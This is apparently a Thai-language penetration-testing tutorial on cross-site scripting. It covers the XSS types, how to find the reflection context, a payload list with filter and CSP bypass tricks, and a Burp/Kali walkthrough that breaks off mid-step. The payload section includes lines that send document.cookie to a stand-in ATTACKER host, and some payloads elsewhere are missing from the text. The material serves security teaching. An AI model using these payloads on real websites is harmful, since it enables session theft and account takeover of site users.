Cross-Site Scripting (XSS)
XSS คือการแทรก JavaScript ที่เบราว์เซอร์ของเหยื่อประมวลผล เกิดเมื่อแอปสะท้อน/เก็บ input โดยไม่ encode มี 3 แบบหลัก: reflected, stored, DOM-based บทนี้ครอบคลุมการตรวจจับ, context ของ payload, และการ bypass filter/CSP
1. หลักการและประเภท
XSS เกิดเมื่อ input ผู้ใช้ถูกใส่กลับเข้าหน้าเว็บโดยไม่ถูก encode ทำให้เบราว์เซอร์ตีความเป็นโค้ดแทนข้อความ ผลคือรันสคริปต์ในบริบทของเหยื่อ — ขโมย cookie/session, ทำ action แทนเหยื่อ, keylog
| ประเภท | ลักษณะ |
|---|---|
| Reflected | payload อยู่ใน request (เช่น query) สะท้อนกลับมาในหน้าทันที — ต้องหลอกเหยื่อเปิดลิงก์ |
| Stored | payload ถูกบันทึกที่เซิร์ฟเวอร์ (คอมเมนต์, โปรไฟล์) เด้งกับทุกคนที่เปิดหน้า — อันตรายสุด |
| DOM-based | JS ฝั่ง client เอา input (location.hash ฯลฯ) ไปเขียน DOM โดยไม่ปลอดภัย — เซิร์ฟเวอร์ไม่เกี่ยว |
2. ตรวจจับและ context
ใส่ marker ที่ไม่ซ้ำ (เช่น xss1234) แล้วดูว่ามันสะท้อนกลับมาตรงไหนใน HTML — context สำคัญกว่า payload เพราะ payload ต้อง 'หนี' ออกจาก context ปัจจุบันให้ได้ก่อน
| context ที่สะท้อน | ต้องหนีด้วย |
|---|---|
| ระหว่าง tag ( HERE ) | <script> หรือ tag ที่มี event |
| ใน attribute (value="HERE") | ปิด quote ก่อน: "><svg onload=...> |
| ใน JS string (var x='HERE') | ปิด string/script: ';alert(1)// |
| ใน URL (href=HERE) | javascript:alert(1) |
3. Payload
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
"><svg onload=alert(1)> <!-- หนีออกจาก attribute -->
javascript:alert(1) <!-- ใน href -->
<iframe src="javascript:alert(1)"><script>new Image().src='http://ATTACKER/?c='+document.cookie</script>
<script>fetch('http://ATTACKER/?c='+encodeURIComponent(document.cookie))</script><ScRiPt>alert(1)</ScRiPt> <!-- สลับ case -->
<svg/onload=alert(1)> <!-- ไม่มี space -->
<img src=x onerror=alert`1`> <!-- backtick แทนวงเล็บ -->
<a href="javascript:alert(1)"> <!-- HTML entity -->4. CSP — และทางเลี่ยงที่พบ
Content Security Policy จำกัดว่าสคริปต์โหลดจากไหนได้ ทำให้ XSS ยากขึ้น แต่ CSP ที่ตั้งหลวมยังเลี่ยงได้: ดู unsafe-inline, โดเมนที่ whitelist แล้วมี JSONP/แฟ้ม upload, หรือ nonce ที่คาดเดาได้ ตรวจ CSP ด้วย header Content-Security-Policy แล้วหา gadget
5. Quick Reference
- 3 แบบ: reflected (ในลิงก์), stored (บันทึก), DOM (JS ฝั่ง client)
- หา context ก่อน → เลือก payload ที่หนี context นั้น
- พื้นฐาน:
,
- หนี attribute: ">
- bypass: สลับ case, ไม่มี space, backtick, HTML entity
- CSP หลวม (unsafe-inline / whitelist มี gadget) ยังเลี่ยงได้
- ป้องกัน: output encode ตาม context + CSP เข้ม + HttpOnly cookie
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเพิ่งเจอฟอร์มหรือพารามิเตอร์ที่สงสัยว่า inject ได้ แต่มีแค่ Kali เปล่าๆ ไม่มีเครื่องมือพิเศษติดตั้งไว้ล่วงหน้า ทำตามนี้ทีละขั้นได้เลย
- 1เปิด Burp Suite (Proxy tab) → ตั้ง Firefox ให้ใช้ proxy 127.0.0.1:8080 (หรือใช้ FoxyProxy) → เข้าเว็บเป้าหมายผ่าน Burp เพื่อจับทุก request
- 2หาช่อง input ที่สงสัย (search, comment, ชื่อโปรไฟล์, พารามิเตอร์ใน URL) พิมพ์ marker ที่ไม่ซ้ำ เช่น zzXSSzz123 แล้วกด submit
- 3กด Ctrl+U (view-source) แล้ว Ctrl+F หา zzXSSzz123 — ดูว่ามันโผล่ตรงไหนของ HTML และอยู่ context ไหน
- 4เลือก payload ตาม context: ระหว่าง tag ใช้ , ใน attribute ใช้ ">
- 5ยิง payload ผ่านช่องเดิม (หรือแก้ตรงๆ ใน Burp Repeater) แล้วเปิดหน้าดูว่ามี popup alert เด้งไหม
- 6เปิด DevTools (F12) แท็บ Console ดู error สีแดง — ถ้าเห็น 'Refused to execute inline script' แปลว่ามี CSP บล็อกอยู่
- 7เช็ค CSP จริงด้วย curl -sI https://target/path | grep -i content-security-policy
- 8ถ้าโดน filter บล็อก ลองสลับ case (